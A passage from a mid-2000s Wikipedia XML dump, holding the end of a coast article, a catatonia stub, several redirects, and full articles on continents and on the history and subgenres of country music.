*[[Lewis_Fry_Richardson#Research_on_the_length_of_coastlines_and_borders|How long is a coastline?]]

===Processes===
*[[attrition]]
*[[current (water)|current]]s
*[[denudation]] &amp;mdash; [[deposition (geology)|deposition]]
*[[erosion]]
*[[flooding]]
*[[longshore drift]]
*[[saltation (geology)|saltation]] &amp;mdash; [[sea level change]] &lt;small&gt;([[eustatic]] &amp;mdash; [[isostatic]])&lt;/small&gt; &amp;mdash; [[sedimentation]] &amp;mdash; [[sediment transportation]] &amp;mdash; [[solution]] &amp;mdash; [[sub-aerial processes]] &amp;mdash; [[suspension (chemistry)|suspension]]
*[[tide]]s
*[[wave]]s &amp;mdash; [[weathering]]

===Related topics &amp; articles===
*[[Reef|Coral reefs]]
*[[Earth science]]
*[[Geography]] &amp;mdash; [[Geology]] &amp;mdash; [[Geomorphology]]
*[[How Long Is the Coast of Britain? Statistical Self-Similarity and Fractional Dimension]]
*[[Marine biology]]
*[[Ocean]]
*[[geography]]
*[[Coastal management]]

===Famous coasts===
*[[Gold Coast (British Colony)|Gold Coast (Ghana)]] 
*[[Grain Coast]] ([[Liberia]])
*[[Côte d'Ivoire]] (Ivory Coast)
*[[Slave Coast]] ([[Benin]])
*[[Skeleton Coast]] of Namibia
*[[Barbary Coast]] in the [[Maghreb]], the coastal plain of North Africa
*[[Gold Coast, Australia]]
*[[Gold Coast, Florida]] and [[Long Island|&quot;Gold Coast&quot; of Long Island]], among other luxurious &quot;Gold Coast&quot; marine resorts
*[[French Riviera]] - [[France]], [[Monaco]]
*[[Italian Riviera]] - [[Italy]]
*[[Jurassic Coast]] ([[England]])
*[[West Coast, New Zealand]]
*[[East Coast of the United States]]
*[[West Coast of the United States]]
*[[Costa Brava]] and [[Costa del Sol]], the Mediterranean coasts of [[Spain]]
*[[Côte d'Azur]], the French Riviera of [[France]] 
*[[Adriatic Coast]] of [[Croatia]] and neighbouring countries
*The [[North Slope]] of coastal Alaska

[[Category:Landforms]]

[[af:Kuslyn]]
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[[es:Costa]]
[[fr:Côte (géographie)]]
[[gl:Costa (xeografía)]]
[[is:Strönd]]
[[it:Costa]]
[[nl:Kust]]
[[ja:海岸]]
[[pl:Wybrzeże]]
[[sl:Obala]]
[[sv:Kust]]
[[zh:海岸]]</text>
    </revision>
  </page>
  <page>
    <title>Catatonia</title>
    <id>5237</id>
    <revision>
      <id>41939520</id>
      <timestamp>2006-03-02T19:38:43Z</timestamp>
      <contributor>
        <username>Arcadian</username>
        <id>104523</id>
      </contributor>
      <comment>clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Catatonia |
  ICD10       = F20.2 |
  ICD9        = {{ICD9|295.2}} |
}}
:''This is a page about '''catatonic''' state. For the band, see [[Catatonia (band)]]''.

'''Catatonia''' is a very severe [[psychiatric]] condition which is variously characterized by a general absence of motor activity (in ''catatonic stupor'') or violent, hyperactive behaviour (in ''catatonic excitement''). It is most often associated with [[schizophrenia]].

This psychiatric [[symptom]] is listed in the [[Diagnostic and Statistical Manual of Mental Disorders]]. It is indicative of other conditions such as schizophrenia (catatonic type), [[bipolar disorder]], [[post-traumatic stress disorder]], [[encephalitis lethargica]], [[neuroleptic malignant syndrome]], [[Clinical depression|depression]] and other mental disorders, as well as [[drug abuse]] and/or [[overdose]]. There are a variety of treatments available, and depending on the case, one or more drugs may be used, including [[antipsychotic]]s and [[benzodiazepine]]s.

Catatonia is not a mental disorder in itself, but it is a symptom of other mental disorders. There is a subtype of schizophrenia called &quot;catatonic schizophrenia&quot; in which the patient experiences an extreme loss of motor ability or constant hyperactive motor activity. The catatonic will sometimes hold rigid poses for hours and will ignore any external stimuli.

'''Catatonic stupor''' is a motionless, [[apathetic]] state in which one is oblivious or does not react to external [[stimuli]]. [[motor skill|Motor activity]] is nearly non-existent. Individuals in this state avoid bathing and grooming, make little or no eye contact with others, may be [[mute]] and rigid, and initiate no [[social]] behaviors. 

'''Catatonic excitement''' is state of constant [[agitation]] and excitation. Individuals in this state are extremely hyperactive (although the activity seems to lack purpose) and often violent towards themselves or others.

==External links==
*[http://www.23nlpeople.com/schizophrenia_catatonic.htm Catatonic Schizophrenia - Descriptions and Interventions]
*[http://www.23nlpeople.com/Catatonic_Schizophrenia.htm  Discussion on Issues Relating To Catatonia]

[[Category:Mental illness diagnosis by DSM and ISCDRHP]]

[[de:Katatonie]]
[[fr:Catatonie]]
[[pl:Katatonia (zaburzenie motoryki)]]


{{med-stub}}</text>
    </revision>
  </page>
  <page>
    <title>CountriesY</title>
    <id>5238</id>
    <revision>
      <id>15903461</id>
      <timestamp>2004-09-20T22:20:25Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[List of sovereign states]]</text>
    </revision>
  </page>
  <page>
    <title>Countably infinite</title>
    <id>5239</id>
    <revision>
      <id>15903462</id>
      <timestamp>2003-08-01T00:51:15Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Countable set]]</text>
    </revision>
  </page>
  <page>
    <title>Continent</title>
    <id>5240</id>
    <revision>
      <id>42066687</id>
      <timestamp>2006-03-03T16:08:08Z</timestamp>
      <contributor>
        <username>Kevinwparker</username>
        <id>207451</id>
      </contributor>
      <minor />
      <comment>Corrected order of continents to be ranked by size</comment>
      <text xml:space="preserve">{{unsourced}}
{{mergefrom|Geographic Realms}}

[[Image:Dymaxion_map_unfolded-no-ocean.png|thumb|300px|right| [[Dymaxion map]] by [[Buckminster Fuller]] shows land mass with minimal distortion as only one continuous continent]]

A '''continent''' ([[Latin]] ''continere'', &quot;to hold together&quot;) is a large continuous [[landmass]].[[Image:Continents vide couleurs.png|thumb|300px|A world map depicting traditionally-reckoned continents (geographically) and nation-states]]

__TOC__
==Definitions==
Since [[geography]] is defined by local convention, there are several conceptions as to which landmasses qualify as continents, and which might be termed '''[[supercontinents]]''' (''e.g.'' [[Africa-Eurasia]]), '''[[microcontinents]]''' (''e.g.'' Madagascar or New Zealand), or '''[[subcontinents]]''' (''e.g.'' [[South Asia]]). Seven [[landmass]]es and their associated [[islands]] are commonly reckoned as continents, but these may be consolidated. For example, North and South America are often considered a single continent, and Asia is often united with Europe.  Ignoring cases where Antarctica is omitted, or where the terms [[Australasia]] or [[Oceania]] replaces Australia, there are half a dozen traditions for naming the continents.

===Models===
{| class=&quot;wikitable&quot;
! colspan=&quot;8&quot; | Models&lt;!-- Order follows the Dymaxion map by Buckminster Fuller above. --&gt;
|-
|'''7 continents:''' ||[[Antarctica]] ||[[South America]] ||[[North America]] ||[[Europe]] ||[[Asia]] ||[[Africa]] ||[[Australia (continent)|Australia]]
|-
|'''6 continents:''' ||Antarctica ||colspan=&quot;2&quot; |&lt;center&gt;[[Americas|America]]||Europe ||Asia ||Africa ||Australia
|-
|'''6 continents:''' ||Antarctica ||South America ||North America ||colspan=&quot;2&quot; |&lt;center&gt;[[Eurasia]] ||Africa ||Australia
|-
|'''5 continents:''' ||Antarctica ||colspan=&quot;2&quot; |&lt;center&gt;America ||colspan=&quot;2&quot; |&lt;center&gt;Eurasia ||Africa ||Australia
|-
|'''5 continents:''' ||Antarctica ||South America ||colspan=&quot;3&quot; |&lt;center&gt;[[Laurasia]] ||Africa ||Australia
|-
|'''4 continents:''' ||Antarctica ||colspan=&quot;2&quot; |&lt;center&gt;America ||colspan=&quot;3&quot; |&lt;center&gt;[[Africa-Eurasia]]||Australia
|-
|}

The 7-continent model is usually taught in [[Western Europe]], the [[United States]], and Australia.  In [[Canada]], the government-approved [http://atlas.gc.ca/site/english/maps/reference/international/world/referencemap_image_view Atlas of Canada] names 7 continents and teaches Oceania instead of Australia.  In [[East Asia]], especially in the [[Orient]], it is taught as a 7-''[[region]]'' model since the rendition of &quot;continent&quot; in [[Chinese language|Chinese]] is similar to &quot;[[island]]&quot;, which connotes a separate smaller landmass surrounded by water.  In [[China]], [[Japan]], and [[Korea]], the English term Australasia and local translations of Oceania are most often used.  The 6-continent Americas model is taught in [[England]], Asia and [[Latin America]] but, again, it is often taught in terms of the 6-region model.  The 6-continent/region Eurasia model is preferred by the geographic community, while the geologic community forgoes local differences by classifying based on [[tectonic plate]]s.  It is especially used in [[Russia]], elsewhere in [[Eastern Europe]], and Japan, which often refer to the 7-continent model as a Western cultural convention.  Historians may use the 5-continent/region model in which [[North Africa]] is separated from [[Sub-Saharan Africa]] and attached to Eurasia ([[Jared Diamond]]) or the 4-continent/region Afro-Eurasian ([[Andre Gunder Frank]]). 

They are ranked here according to size. 
{| class=&quot;wikitable&quot;
! colspan=&quot;2&quot; | Size
|-
| '''continent'''
| '''area (km²)''' 
|-
|[[Africa-Eurasia]] ||90,500,000
|-
|[[Laurasia]] ||84,500,000
|-
|[[Eurasia]] ||60,300,000
|-
|[[Asia]] ||49,700,000 
|-
|[[Americas|America]] ||42,320,000 
|-
|[[Africa]] ||30,370,000 
|-
|[[North America]] ||24,500,000 
|-
|[[South America]] ||17,820,000 
|-
|[[Antarctica]] ||13,720,000 
|-
|[[Europe]] ||10,030,000
|-
|[[Australia (continent)|Australia]] ||&amp;nbsp;8,560,000&lt;!-- mainland 7,686,850 --&gt;
|}

===Interpretations===
Geographers and historians often find it useful to define larger landmasses connected by [[land bridge]]s:
# [[Africa-Eurasia]] (also called ''Eurafrasia''): the combined land mass of Africa and Eurasia; 
# [[Laurasia]]: the combined land mass of Eurasia and North America, which were connected by [[Beringia]] during the [[Ice Age]];
# [[Sahul]]: the combined land mass of Australia, New Guinea, and Tasmania during the Ice Age.

That is, during the last Ice Age, there were three large landmasses: Africa-Eurasia + America (which has no name), Sahul, and Antarctica. These larger land masses are usually considered [[supercontinent]]s rather than continents, however.

Continents are sometimes subdivided into [[subcontinent]]s that are delineated by geological features: the prototype of this is the [[Indian subcontinent]].  In the last century, it has also become customary to subdivide major landmasses, particularly Eurasia and the Americas, into regions or [[subregion]]s of varying size and scope; for instance, the Indian subcontinent somewhat corresponds to [[South Asia]].  [[Image:United Nations geographical subregions.png|thumb|410px|right|A world map of continental regions and their [[subregion]]s in use by the [[United Nations]]]]

[[Island]]s are usually considered to belong geographically to the continent they are closest to. The Coral Sea and South Pacific islands may be associated with Australia/[[Australasia]] to form the &quot;continent&quot; of [[Oceania]] (though the Pacific islands without Australia are also called Oceania). The [[British Isles]] have always been considered part of Europe, and [[Greenland]] is considered part of North America.

When ''the Continent'' is referred to without clarification by a speaker of [[British English]], it is usually presumed to mean [[Continental Europe]], that is Europe, explicitly excluding [[Great Britain]] and [[Ireland]]&lt;!-- better to say &quot;British Isles&quot; --&gt;. Elsewhere, islanders may refer to the nearest [[mainland]] as simply ''the Continent''.  The ''[[Continental United States]]'' excludes [[Hawaii]]. ''Contiguous'' or ''Co(n)terminous United States'' means the United States without Alaska or Hawaii (the &quot;Lower 48&quot;), but it is very common for people to say ''continental'' for ''contiguous''.

:''See also [[List of countries by continent]], [[Satellite images of continents]].''

===Microcontinents===
Microcontinents include [[Madagascar]], the [[Seychelles]] (the northern [[Mascarene Plateau]]), [[New Zealand]], and [[New Caledonia]].  Note that volcanic [[Iceland]] is an exposed bit of oceanic crust at the [[mid-ocean ridge]], and therefore not a microcontinent.

==History==
In its original sense, ''continent'' meant (and still means) &quot;[[mainland]]&quot;. In the [[Greco-Roman]] world, the known world consisted of three parts (see [[T and O map]]). After the Europeans became aware of the existence of the &quot;[[New World]]&quot; in the [[Age of Discovery]], the Europeans counted [[four continents]] and [[seven seas]]. 

In the mid [[1600s]] Peter Heylin wrote in his ''Cosmographie'' that &quot;A Continent is a great quantity of Land, not separated by any Sea from the rest of the World, as the whole Continent of Europe, Asia, Africa.&quot; As late as [[1727]] Ephraim Chambers wrote in his ''Cyclopædia'', &quot;The world is ordinarily divided into two grand continents: the old and the new.&quot; However, since Classical times this Continent was divided into &quot;peninsulas&quot; which also came to be called continents, since they were great land masses themselves. Through the [[Middle Ages]], there were three such continents in the Western conception: Europe, Africa, and Asia. The European discovery of America in [[1492]] made four; and Australia in [[1606]] would make five, though not right away: as late as [[1813]] geographers wrote of Australia as &quot;[[New Holland]], an immense Island, which some geographers dignify with the appellation of another continent&quot;. However, dividing America in two was commonplace by this time, and would also produce a fifth continent. The idea of the Five Continents is still strong in Europe and Asia, and is represented by the five rings on the [[Olympic Games|Olympic]] flag. 

Antarctica was sighted in [[1820]], for the sixth and last continent to be given a separate name, though a great &quot;antarctic&quot; (antipodean) landmass had been anticipated for millennia. Dividing the Americas now made ''seven'' continents, nicely symmetrical with the magical number of the [[Seven Seas]], Seven Heavens, and the seven heavenly bodies that gave their names to the seven [[days of the week]]. However, this division never appealed to [[Latin America]], which saw itself spanning America as a single landmass, and there the conception of six continents remains, as it does in scattered other countries such as Japan. From a modern perspective, the continent with the least reason for separate recognition is Europe, and in scientific circles people generally prefer to subsume Europe and Asia into Eurasia. This appealed to [[Russia]], which spans Eurasia, and in Russia and (at least formerly) in Eastern Europe, Eurasia is or was taught as being one of six continents.

==Geology==
The surface of the [[Earth]] consists of many [[tectonic plate]]s which move on a plastic layer of the Earth called the [[asthenosphere]]. The plates are composed of both continental and oceanic crust.  Continental crust is primarily [[granitoid]] rock, overlain by a thin veneer of [[sedimentary rock]]. Much of the continental crust extends above [[sea level]] as dry land. Generally, the geographic continents each lie on one tectonic plate, but there are exceptions. Asia and North America, in the [[Bering Sea]] region, share the North American plate, and many times over the past few million years, Asia and North America were connected by dry land. Asia contains not only the Eurasian plate, but the Arabian plate, the Australian plate (on which India is colliding with Eurasia), and the North American plate.  Depending on which continental model one uses, geographic continents can straddle a variable number of tectonic plates.  Occasionally there are calls for the continents to be defined by the tectonic plates that carry them. However, not only would this make Arabia on the [[Arabian plate]] and India on the [[Indian plate]] continents, but it would separate Central America (on the [[Caribbean Plate|Caribbean plate]]) from North America and the region of California west of the [[San Andreas fault]] (on the [[Pacific plate]]) from North America, so this definition has never been widely accepted.

The tectonic plates shift on [[geologic timescale]]s, a process known as [[continental drift]].  Consequently, in the geological past other continents existed, like the supercontinent [[Gondwana]].- see [[:Category:Historical continents]].

==See also==
{{commons2|Continents}}
*[[continental shelf]]
*[[earth science]]
*[[geography]]
*[[geology]]
*[[plate tectonics]]
*[[landform]]
*[[subregion]]

==External links==
*[http://unstats.un.org/unsd/geoinfo/ungegn.htm UN Group of Experts on Geographical Names]

{{continent}}
{{region}}

[[Category:Continents|*]]
[[Category:Plate tectonics]]
[[Category:Landforms]]

&lt;!-- interwiki --&gt;

[[af:Lande]]
[[ar:قارة]]
[[an:Continén]]
[[ast:Continente]]
[[bg:Континент]]
[[zh-min-nan:Tāi-lio̍k]]
[[bn:মহাদেশ]]
[[bs:Kontinent]]
[[br:Kevandir]]
[[ca:Continent]]
[[cv:Континент]]
[[cs:Kontinent]]
[[cy:Cyfandir]]
[[da:Verdensdel]]
[[de:Kontinent]]
[[el:Ήπειροι]]
[[es:Continente]]
[[eo:Kontinento]]
[[fa:قاره]]
[[fr:Continent]]
[[ga:Mór-roinn]]
[[gl:Continente]]
[[ko:대륙]]
[[hi:महाद्वीप]]
[[hr:Kontinent]]
[[io:Kontinento]]
[[id:Benua]]
[[ia:Continente]]
[[is:Heimsálfa]]
[[it:Continente]]
[[he:יבשת]]
[[kn:ಖಂಡ]]
[[ka:კონტინენტი]]
[[ks:Bhūgōla]]
[[ku:Kîşwer]]
[[kw:Brastir]]
[[ky:Материк]]
[[sw:Bara]]
[[la:Continens]]
[[lt:Žemynai]]
[[lb:Kontinent]]
[[hu:Kontinens]]
[[mk:Континент]]
[[ms:Benua]]
[[mo:Континент]]
[[nl:Continent]]
[[nds:Eerddeel]]
[[ja:大陸]]
[[no:Kontinent]]
[[pl:Kontynent]]
[[pt:Continente]]
[[ro:Continent]]
[[ru:Континент]]
[[sm:Konitineta]]
[[simple:Continent]]
[[sk:Svetadiel]]
[[sl:Celina]]
[[sr:Континент]]
[[su:Buana]]
[[fi:Maanosa]]
[[sv:Världsdel]]
[[ta:கண்டம்]]
[[th:ทวีป]]
[[to:Konitineta]]
[[tr:Kıta]]
[[uk:Материк]]
[[wa:Continint]]
[[yi:קאָנטינענט]]
[[zh:洲]]</text>
    </revision>
  </page>
  <page>
    <title>Cantors Diagonal argument</title>
    <id>5241</id>
    <revision>
      <id>15903464</id>
      <timestamp>2002-05-05T15:43:29Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Cantor's diagonal argument]]</comment>
      <text xml:space="preserve">#redirect [[Cantor's diagonal argument]]
</text>
    </revision>
  </page>
  <page>
    <title>Ciliates</title>
    <id>5242</id>
    <revision>
      <id>15903465</id>
      <timestamp>2002-07-15T23:50:47Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Ciliate]]
</text>
    </revision>
  </page>
  <page>
    <title>Ciliophora</title>
    <id>5243</id>
    <revision>
      <id>15903466</id>
      <timestamp>2002-07-15T23:49:51Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <minor />
      <comment>Redirect to ciliate</comment>
      <text xml:space="preserve">#REDIRECT [[Ciliate]]</text>
    </revision>
  </page>
  <page>
    <title>Cipher</title>
    <id>5244</id>
    <revision>
      <id>23556296</id>
      <timestamp>2005-09-19T23:15:15Z</timestamp>
      <contributor>
        <username>Matt Crypto</username>
        <id>50457</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Ciphersankofa|Ciphersankofa]] to last version by Matt Crypto</comment>
      <text xml:space="preserve">#REDIRECT [[Encryption]]</text>
    </revision>
  </page>
  <page>
    <title>Chemistry/diatomic</title>
    <id>5245</id>
    <revision>
      <id>15903468</id>
      <timestamp>2003-10-30T13:31:02Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Diatomic]]</text>
    </revision>
  </page>
  <page>
    <title>Country music</title>
    <id>5247</id>
    <revision>
      <id>41416227</id>
      <timestamp>2006-02-27T04:23:05Z</timestamp>
      <contributor>
        <ip>70.64.99.121</ip>
      </contributor>
      <comment>/* Contemporary Country Stars 1980-2006 */</comment>
      <text xml:space="preserve">{{genrebox|name=Country
|color=brown
|bgcolor=white
|stylistic_origins=[[Appalachian folk music]], [[blues]], [[spiritual (music)|spiritual]]s and [[music of England|Anglo]]-[[Celtic music]]
|cultural_origins=early [[20th century]] [[Appalachia]], esp. [[Tennessee]], [[Virginia]], and [[Kentucky]]
|instruments=[[Guitar]] - [[Steel guitar]] - [[Dobro]] - [[Harmonica]] - [[Bass guitar|Bass]] - [[Fiddle]] - [[Drums]] - [[Mandolin]] - [[Banjo]] 
|popularity=Much, worldwide, especially the [[Nashville Sound]]
|derivatives=[[Bluegrass music|Bluegrass]]
|subgenrelist=List of country genres
|subgenres=[[Bakersfield Sound]] - [[Bluegrass music|Bluegrass]] - [[Close harmony]] - [[Country folk]] - [[Honky tonk]] - [[Jug band]] - [[Lubbock Sound]] - [[Nashville Sound]] - [[Neotraditional Country]] - [[Outlaw country]] - [[Red Dirt (music)|Red Dirt]] - [[Texas Country]]
|fusiongenres=[[Alternative country]] -  [[Country rock]] - [[Psychobilly]] - [[Deathcountry]] - [[Rockabilly]] - [[Country-rap]] - [[Country pop]]
|regional_scenes=[[Australian country music|Australia]]
|other_topics=[[List of country musicians|Musicians]] - [[List of years in Country Music]]
}}
'''Country music''', also called '''country and western music''' or '''country-western''', is an amalgam of popular [[American music|musical]] forms developed in the [[Southern United States]], with roots in traditional [[folk music]],  [[Celtic Music]], [[Blues]], [[Gospel music]], and [[Old-time music]].

However, country music is actually a catch-all category that embraces several different genres of music: [[Nashville sound]] (the pop-like music very popular in the 1960s); [[Bluegrass music|bluegrass]], a fast mandolin, banjo and fiddle-based music popularized by [[Bill Monroe]] and by the [[Foggy Mountain Boys]]; [[Western (genre)|Western]] which encompasses traditional Western ballads and Hollywood Cowboy Music, [[Western swing]], a sophisticated dance music  popularized by [[Bob Wills]]; [[Bakersfield sound]] (popularized by [[Buck Owens]] and [[Merle Haggard]]); [[Outlaw country]]; [[Cajun]]; [[Zydeco]]; [[gospel]]; [[oldtime]] (generally pre-1930 folk music); [[honky tonk]]; [[Appalachian]]; [[rockabilly]]; [[neotraditional country]] and [[jug band]].

Each style is unique in its execution, its use of rhythms, and its chord structures, though many songs have been adapted to the different country styles.  One example is the tune '''Milk Cow Blues''', an early blues tune by [[Kokomo Arnold]] that has been performed in a wide variety of country styles by everyone from [[Aerosmith]] to [[Bob Wills]] to [[Willie Nelson]], [[George Strait]] to [[Ricky Nelson]] and [[Elvis Presley]].

[[Vernon Dalhart]] was the first country singer to have a nationwide hit (May 1924, with &quot;The Wreck of Old '97&quot;) (see External Links below).  Other important early recording artists were [[Riley Puckett]], [[Don Richardson]], [[Fiddling John Carson]], [[Ernest Stoneman]], [[Charlie Poole and the North Carolina Ramblers]], and [[The Skillet Lickers]].  

Some trace the origins of modern country music to two seminal influences and a remarkable coincidence. [[Jimmie Rodgers (country singer)|Jimmie Rodgers]] and the [[Carter Family]] are widely considered to be the founders of country music, and their songs were first captured at an [[Bristol sessions|historic recording session]] in [[Bristol, Tennessee]] on [[August 1]], [[1927]], where [[Ralph Peer]] was the talent scout and sound recordist.  

It is possible to categorize many country singers as being either from the Jimmie Rodgers strand or the Carter Family strand of country music.  

==Jimmie Rodgers' influence==
Jimmie Rodgers' gift to country music was [[country folk]].  Building on the traditional ballads and musical influences of the South, Jimmie wrote and sang songs that ordinary people could relate to. He took the experiences of his own life in the Meridian, Mississippi, area and those of the people he met on the railroad, in bars and on the streets to create his lyrics.  He used the musical influences of the traditional ballads and the [[folk music|folk]] to create his tunes.  An annual festival has been held in Meridian for over 30 years.

Pathos, humor, women, whiskey, murder, death, disease and destitution are all present in his lyrics and these themes have been carried forward and developed by his followers.  People like [[Hank Williams]], [[Merle Haggard]], [[Waylon Jennings]], [[George Jones]], [[Townes van Zandt]], [[Kris Kristofferson]] and [[Johnny Cash]] have also suffered, and shared their suffering, bringing added dimensions to those themes. It would be fair to say that Jimmie Rodgers sang about life and death from a male perspective, and this viewpoint has dominated some areas of country music. It would also be fair to credit his influence for the development of [[honky tonk]], [[rockabilly]] and the [[Bakersfield sound]]. 

===Hank Williams===
Jimmie Rodgers is a major foundation stone in the structure of country music, but the most influential artist from the Jimmie Rodgers strand is undoubtedly [[Hank Williams|Hank Williams, Sr.]]  In his short career (he was only 29 when he died), he dominated the country scene and his songs have been covered by practically every other country artist, male and female.  Some have even included him in their compositions (for example, [[Waylon Jennings]] and [[Alan Jackson]]). Hank had two personas: as Hank Williams he was a [[singer-songwriter]] and entertainer; as &quot;[[Luke the Drifter]]&quot;, he was a songwriting crusader.  The complexity of his character was reflected in the introspective songs he wrote about heartbreak, happiness and love (e.g., &quot;[[I'm So Lonesome I Could Cry]]&quot;), and the more upbeat numbers about [[Cajun]] food (&quot;[[Jambalaya (song)|Jambalaya]]&quot;) or [[cigar store Indian]]s (&quot;[[Kaw-Liga]]&quot;).  He took the music to a different level and a wider audience.

Both [[Hank Williams, Jr.]] and his son [[Hank Williams III]] have been innovators within country music as well, Hank Jr. leading towards rock fusion and &quot;[[outlaw country]]&quot;, and Hank III going much further in reaching out to [[death metal]] and [[psychobilly]] soul

==The Carter Family's Influence==
The other Ralph Peer discovery, the Carter family, consisted of A.P. Carter, his wife Sara and their sister-in-law Maybelle.  They built a long recording career based on the sonorous bass of A.P., the beautiful singing of Sara and the unique guitar playing of Maybelle.  A.P.'s main contribution was the collection of songs and ballads that he picked up in his expeditions into the hill country around their home in [[Maces Springs, Virginia]].  In addition, being a man, he made it possible for Sara and Maybelle to perform without stigma at that time.  These two women were the musical talent.  They arranged the songs that A.P. collected and wrote their own songs.  They were the precursors of a line of talented female country singers like [[Kitty Wells]], [[Patsy Cline]], [[Loretta Lynn]], [[Skeeter Davis]], [[Tammy Wynette]], [[Dolly Parton]] and [[June Carter Cash]], the daughter of Maybelle and the wife of [[Johnny Cash]].  

===Bluegrass=== 
[[Bluegrass music|Bluegrass]] carries on the tradition of the old String Band Music and was invented, in its pure form, by [[Bill Monroe]]. The name &quot;Bluegrass&quot; was simply taken from Monroe's band, the &quot;Bluegrass Boys&quot;. The first recording in the classic line-up was made in 1945: Bill Monroe on Mandolin and Vocals, [[Lester Flatt]] on Guitar and Vocals, [[Earl Scruggs]] on 5-String Banjo, Chubby Wise on Fiddle and Cedric Rainwater on Upright Bass. This band set the standard for all bluegrass bands to follow, most of the famous early Bluegrass musicians were one-time band members of the Bluegrass Boys, like Lester Flatt &amp; Earl Scruggs, [[Jimmy Martin]] and [[Del McCoury]], or played with Monroe occasionally, like [[Sonny Osborne]], [[The Stanley Brothers]] and [[Don Reno]]. Monroe also influenced people like [[Ricky Skaggs]], [[Alison Krauss]] and [[Rhonda Vincent]], who carry on the folk and ballad tradition in the bluegrass style.

==Other influences==
Country music has had only a handful of  [[Black]] stars [[Charley Pride]] and [[Deford Bailey]] being the most notable. Pride endured much open racism early in his career with some radio programmers refusing to play a &quot;nigger&quot;. Many TV audiences were shocked to realize that the songs they enjoyed were performed by a black man. Pride became the second black member of the [[Grand Ole Opry]] in 1993 (he had declined an invitation to join in 1968). He is considered a major influence on traditionalists today. Country music has also influenced the work of many black musicians such as [[Ray Charles]], [[Keb' Mo']] and [[Cowboy Troy]].

==The Nashville Sound==
During the [[1960s]], country music became a multimillion-dollar industry centered on [[Nashville, Tennessee|Nashville]], [[Tennessee]].  Under the direction of producers such as [[Chet Atkins]], [[Owen Bradley]], and later [[Billy Sherrill]],  the ''[[Nashville sound]]'' brought country music to a diverse audience. This sound was notable for borrowing from 1950s pop stylings: a prominent and 'smooth' vocal, backed by an string section and vocal chorus. Instrumental soloing was de-emphasised in favor of trademark 'licks'. Leading artists in this genre included [[Patsy Cline]], [[Jim Reeves]], and later [[Tammy Wynette]] and [[Charlie Rich]]. Although country music has great stylistic diversity, some critics say this diversity was strangled by the formulaic approach of the Nashville Sound producers. Others point to the commercial need to re-invent country in the face of the dominance of '50s [[rock'n'roll]] and subsequent [[British Invasion]]. Even today the variety of country music is not usually well reflected in commercial radio airplay and the popular perception of country music is fraught with [[stereotypes]] of  [[Hillbilly]]'s and maudlin ballads.

===Reaction to the Nashville Sound===
The supposedly &quot;vanilla&quot;-flavored sounds that emanated from Nashville led to a reaction among musicians outside Nashville, who saw that there was more to the genre than &quot;the same old tunes, fiddle and guitar...&quot; (Waylon Jennings).  

[[California]] produced the [[Bakersfield sound]], promoted by [[Buck Owens]] and [[Merle Haggard]] and based on the work of the legendary [[Maddox Brothers and Rose]], whose wild eclectic mix of old time country, hillbilly swing and gospel in the 1940s and 1950s was a feature of honky-tonks and dance halls in the state.  

[[Texas]] produced rebels like [[Willie Nelson]], [[Waylon Jennings]], [[Jerry Jeff Walker]] and others who bucked the Nashville system and created [[outlaw country]]. 

Within Nashville in the [[1980]]s, [[Randy Travis]], [[Ricky Skaggs]] and others brought a return to the traditional values.  Their musicianship, songwriting and producing skills helped to revive the genre momentarily. However, even they, and such long-time greats as Jones, Cash, and Haggard, fell from popularity as the record companies again imposed their formulas and refused to promote established artists. [[Capitol Records]] made an almost wholesale clearance of their country artists in the [[1960s]].

==Country Music Developments==
The two strands of country music have continued to develop since 1990s.  The Jimmie Rodgers influence can be seen in a pronounced &quot;working man&quot; image promoted by singers like [[Brooks &amp; Dunn]] and [[Garth Brooks]].  On the Carter Family side, singers like [[Iris Dement]] and [[Nanci Griffith]] have written on more traditional &quot;folk&quot; themes, albeit with a contemporary point of view. 

In the [[1990s]] a new form of country music emerged, called by some [[alternative country]], [[neotraditional country|neotraditional]], or &quot;insurgent country&quot;. Performed by generally younger musicians and inspired by traditional country performers and the country reactionaries, it shunned the Nashville-dominated sound of mainstream country and borrowed more from [[punk music|punk]] and [[rock and roll|rock]] groups than the watered-down, pop-oriented sound of Nashville.

There are at least three U. S. cable networks devoted to the genre:  [[Country Music Television|CMT]] (owned by [[Viacom]]), [[VH-1 Country]] (also owned by [[Viacom]]), and [[Great American Country|GAC]] (owned by [[E. W. Scripps Company|The E. W. Scripps Company]]).

==Samples==
*[[Media:Prisoner'sSong.ogg|Download recording]] - &quot;[[Prisoner’s Song]]&quot; country music from the Library of Congress' [http://www.loc.gov/folklife/Gordon/sideAband8.html Gordon Collection]; performed by Ernest Hilton with banjo accompaniment in [[Biltmore, North Carolina]] on November 20, 1925
*[[Media:Cold,ColdHeart.ogg|Download sample]] of [[Hank Williams]]' &quot;[[Cold, Cold Heart]]&quot;, one of the best-known Williams songs, covered by numerous other stars, and an excellent representation of the [[1950s]] Nashville music.

==Further reading==
* ''In The Country of Country: A Journey to the Roots of American Music'',&lt;br /&gt; Nicholas Dawidoff, Vintage Books, 1998, ISBN 0-375-70082-x

* ''Are You Ready for the Country: Elvis, Dylan, Parsons and the Roots of Country Rock'',&lt;br /&gt;Peter Dogget, Penguin Books, 2001, ISBN 0-140-26108-7

* ''Dreaming Out Loud: Garth Brooks, Wynonna Judd, Wade Hayes and the changing face of Nashville'',&lt;br /&gt;Bruce Feiler, Avon Books, 1998, ISBN 0-380-97578-5

* ''Roadkill on the Three-Chord Highway'',&lt;br /&gt;Colin Escott, Routledge, 2002, ISBN 0-415-93783-3

* ''Guitars &amp; Cadillacs'',&lt;br /&gt;Sabine Keevil, Thinking Dog Publishing, 2002, ISBN 0-968-99730-9

